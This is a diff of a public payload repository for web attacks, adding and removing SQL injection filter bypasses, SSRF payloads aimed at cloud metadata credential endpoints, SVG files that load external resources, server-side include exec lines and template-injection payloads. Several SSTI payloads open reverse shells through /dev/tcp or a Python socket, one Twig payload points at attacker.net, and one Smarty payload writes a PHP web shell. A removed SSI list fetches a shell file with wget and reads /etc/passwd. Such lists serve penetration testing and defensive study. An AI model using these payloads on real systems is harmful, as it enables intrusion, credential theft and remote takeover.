* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie)
* [Second order injection](#second-order-injection)
* [Shell](#shell)
* [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
* [Using TOR with SQLmap](#using-tor-with-sqlmap)
* [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
* [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
* [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
* [General tamper option and tamper's list](#general-tamper-option-and-tampers-list)
* [Authentication bypass](#authentication-bypass)
* [Polyglot injection](#polyglot-injection-multicontext)
* [Routed injection](#routed-injection)
@ -41,6 +52,7 @@ Simple characters
%3B
)
Wildcard (*)
&apos; # required for XML content
```
Multiple encoding
@ -276,6 +288,9 @@ tamper=name_of_the_tamper
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
@ -428,12 +443,13 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
No Equal - bypass using LIKE/NOT IN/IN
No Equal - bypass using LIKE/NOT IN/IN/BETWEEN
```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```
Blacklist using keywords - bypass using uppercase/lowercase
@ -449,7 +465,7 @@ Blacklist using keywords case insensitive - bypass using an equivalent operator
```sql
AND -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >
= -> LIKE,REGEXP, BETWEEN, not < and not >
> X -> not between 0 and X
WHERE -> HAVING
```

View File

@ -1,5 +1,18 @@
# SQLite Injection
## Summary
* [SQLite comments](#sqlite-comments)
* [SQLite version](#sqlite-version)
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
* [Boolean - Extract info](#boolean---extract-info)
* [Time based](#time-based)
* [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database)
* [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension)
* [References](#references)
## SQLite comments
```sql
@ -75,4 +88,4 @@ Note: By default this component is disabled
## References
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf)
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)

View File

Before

Width:  |  Height:  |  Size: 176 B

After

Width:  |  Height:  |  Size: 176 B

View File

Before

Width:  |  Height:  |  Size: 181 B

After

Width:  |  Height:  |  Size: 181 B

View File

@ -0,0 +1,7 @@
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>

After

Width:  |  Height:  |  Size: 188 B

View File

@ -0,0 +1,6 @@
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>

After

Width:  |  Height:  |  Size: 288 B

View File

@ -0,0 +1,6 @@
<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>

After

Width:  |  Height:  |  Size: 228 B

View File

@ -0,0 +1,4 @@
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

After

Width:  |  Height:  |  Size: 199 B

View File

@ -0,0 +1,4 @@
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

After

Width:  |  Height:  |  Size: 176 B

View File

@ -8,17 +8,17 @@
* [Payloads with localhost](#payloads-with-localhost)
* [Bypassing filters](#bypassing-filters)
* [Bypass using HTTPS](#bypass-using-https)
* [Bypass localhost with [::]](#bypass-localhost-with----)
* [Bypass localhost with [::]](#bypass-localhost-with-)
* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
* [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6-ipv4-address-embedding)
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
* [Bypass using malformed urls](#bypass-using-malformed-urls)
* [Bypass using rare address](#bypass-using-rare-address)
* [Bypass using bash variables](#bypass-using-bash-variables)
* [Bypass using tricks combination](#bypass-using-tricks-combination)
* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
* [Bypass filter_var() php function](#bypass-filter-var-php-function)
* [Bypass filter_var() php function](#bypass-filter_var-php-function)
* [Bypass against a weak parser](#bypass-against-a-weak-parser)
* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
* [file://](#file)
@ -28,10 +28,14 @@
* [tftp://](#tftp)
* [ldap://](#ldap)
* [gopher://](#gopher)
* [netdoc://](#netdoc)
* [SSRF exploiting WSGI](#ssrf-exploiting-wsgi)
* [SSRF to XSS](#ssrf-to-xss)
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
@ -48,6 +52,8 @@
- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
- [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff)
## Payloads with localhost
@ -114,6 +120,7 @@ http://0000::1:3128/ Squid
### Bypass localhost with a domain redirection
```powershell
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
@ -216,7 +223,7 @@ http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```
![https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/SSRF_Parser.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20Injection/Images/WeakParser.jpg)
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_Parser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
## SSRF exploitation via URL Scheme
@ -242,7 +249,7 @@ ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
```
![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20Injection/Images/SSRF_stream.png)
![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)
The following URL scheme can be used to probe the network
@ -341,6 +348,36 @@ Content of evil.com/redirect.php:
?>
```
### Netdoc
Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
```powershell
ssrf.php?url=gopher://127.0.0.1:4242/DATA
```
## SSRF exploiting WSGI
Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.
```powershell
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
```
| Header | | |
|-----------|-----------|-------------|
| modifier1 | (1 byte) | 0 (%00) |
| datasize | (2 bytes) | 26 (%1A%00) |
| modifier2 | (1 byte) | 0 (%00) |
| Variable (UWSGI_FILE) | | | | |
|-----------------------|-----------|----|------------|---|
| key length | (2 bytes) | 10 | (%0A%00) | |
| key data | (m bytes) | | UWSGI_FILE | |
| value length | (2 bytes) | 12 | (%0C%00) | |
| value data | (n bytes) | | /tmp/test.py | |
## SSRF to XSS
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
@ -357,7 +394,7 @@ https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brut
### SSRF URL for AWS Bucket
[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
Interesting path to look for at `http://169.254.169.254`
Interesting path to look for at `http://169.254.169.254` or `http://instance-data`
```powershell
Always here : /latest/meta-data/{hostname,public-ipv4,...}
@ -368,6 +405,7 @@ Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
DNS record
```powershell
http://instance-data
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
@ -418,6 +456,15 @@ E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugi
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
### SSRF URL for AWS ECS
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
```powershell
curl http://169.254.170.2/v2/credentials/<UUID>
```
This way you'll extract IAM keys of the attached role
### SSRF URL for AWS Elastic Beanstalk
@ -439,8 +486,21 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
### SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
```powershell
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
```
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
### SSRF URL for Google Cloud
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```powershell
@ -465,6 +525,12 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
Required headers can be set using a gopher SSRF with the following technique
```powershell
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
```
Interesting files to pull out:
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
@ -592,6 +658,11 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
More info:
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
- Docker Engine API: https://docs.docker.com/engine/api/latest/
### SSRF URL for Rancher
```powershell
@ -628,4 +699,8 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
- [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
- [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
- [SSRFs up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)

View File

@ -1,75 +0,0 @@
<pre><!--#exec cmd="ls" --></pre>
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="whoami"--></pre>
<pre><!--#exec cmd="dir" --></pre>
<!--#exec cmd="ls" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="whoami"-->
<!--#printenv -->
<!--#flastmod virtual="echo.html" -->
<!--#echo var="auth_type" -->
<!--#echo var="http_referer" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="forwarded" -->
<!--#echo var="document_uri" -->
<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="document_name" -->
<!--#echo var="document_root" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="user_name" -->
<!--#echo var="unique_id" -->
<!--#echo var="tz" -->
<!--#echo var="total_hits" -->
<!--#echo var="server_software" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_port" -->
<!--#echo var="server_name -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="script_url" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_name" -->
<!--#echo var="script_filename" -->
<!--#echo var="netsite_root" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="request_uri" -->
<!--#echo var="request_method" -->
<!--#echo var="remote_user" -->
<!--#echo var="remote_addr" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_host" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="query_string" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info" -->
<!--#echo var="path" -->
<!--#echo var="page_count" -->
<!--#echo var="last_modified" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_ua_cpu" -->

View File

@ -1,18 +0,0 @@
</nowiki>
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#echo var="DATE_LOCAL" -->
<!--#include virtual="http://xerosecurity.com/.testing/rfi_vuln.php" -->
<!--#include virtual="https://crowdshield.com/.testing/rfi_vuln.php" -->
<!--#include virtual="/" -->
<!--#exec cmd="ls" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="uname" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="ipconfig" -->
<!--#exec cmd="curl http://xerosecurity.com/.testing/rfi_vuln.php" -->
<!--#exec cmd="perl -e 'print "X"*5000'" -->
<!--#exec cmd="sleep 5" -->
<!--#exec cmd="sleep 10" -->

View File

@ -0,0 +1,49 @@
{{4*4}}[[5*5]]
{{7*7}}
{{7*'7'}}
<%= 7 * 7 %>
${3*3}
${{7*7}}
@(1+2)
#{3*3}
#{ 7 * 7 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

View File

@ -7,7 +7,7 @@
* [Tools](#tools)
* [Methodology](#methodology)
* [Ruby](#ruby)
* [Basic injection](#basic-injection)
* [Basic injections](#basic-injections)
* [Retrieve /etc/passwd](#retrieve--etc-passwd)
* [List files and directories](#list-files-and-directories)
* [Java](#java)
@ -17,11 +17,15 @@
* [Twig](#twig)
* [Basic injection](#basic-injection)
* [Template format](#template-format)
* [Arbitrary File Reading](#arbitrary-file-reading)
* [Code execution](#code-execution)
* [Smarty](#smarty)
* [Freemarker](#freemarker)
* [Basic injection](#basic-injection)
* [Code execution](#code-execution)
* [Peeble](#peeble)
* [Basic injection](#basic-injection)
* [Code execution](#code-execution)
* [Jade / Codepen](#jade---codepen)
* [Velocity](#velocity)
* [Mako](#mako)
@ -37,6 +41,10 @@
* [Jinjava](#jinjava)
* [Basic injection](#basic-injection)
* [Command execution](#command-execution)
* [ASP.NET Razor](#aspnet-razor)
* [Basic injection](#basic-injection)
* [Command execution](#command-execution)
* [References](#references)
## Tools
@ -55,12 +63,20 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
## Ruby
### Basic injection
### Basic injections
ERB:
```ruby
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Retrieve /etc/passwd
```ruby
@ -73,6 +89,14 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
<%= Dir.entries('/') %>
```
### Code execution
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
## Java
### Basic injection
@ -106,6 +130,8 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```
### Template format
@ -122,17 +148,34 @@ $output = $twig > render (
);
```
### Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
### Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
## Smarty
```python
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```
@ -150,6 +193,32 @@ The template can be `${3*3}` or the legacy `#{3*3}`
```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```
## Pebble
### Basic injection
```java
{{ someString.toUPPERCASE() }}
```
### Code execution
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
## Jade / Codepen
@ -187,9 +256,9 @@ ${x}
## Jinja2
[Official website](http://jinja.pocoo.org/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Basic injection
### Basic injection
```python
{{4*4}}[[5*5]]
@ -253,14 +322,41 @@ Listen for connexion
nv -lnvp 8000
```
Inject this template
#### Exploit the SSTI by calling subprocess.Popen.
:warning: the number 396 will vary depending of the application.
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```
#### Exploit the SSTI by calling Popen without guessing the offset
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
#### Exploit the SSTI by writing an evil config file.
```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
### Filter bypass
```python
@ -294,6 +390,11 @@ Bypassing `|join`
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
```
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
## Jinjava
### Basic injection
@ -320,6 +421,21 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
## ASP.NET Razor
### Basic injection
```powershell
@(1+2)
```
### Command execution
```csharp
@{
// C# code
}
```
## References
@ -334,4 +450,6 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
* [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw)
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/)
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [Server Side Template Injection on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)

View File

@ -44,8 +44,11 @@ If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP
| Hash | “Magic” Number / String | Magic Hash | Found By |
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
| MD5 | 240610708 | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
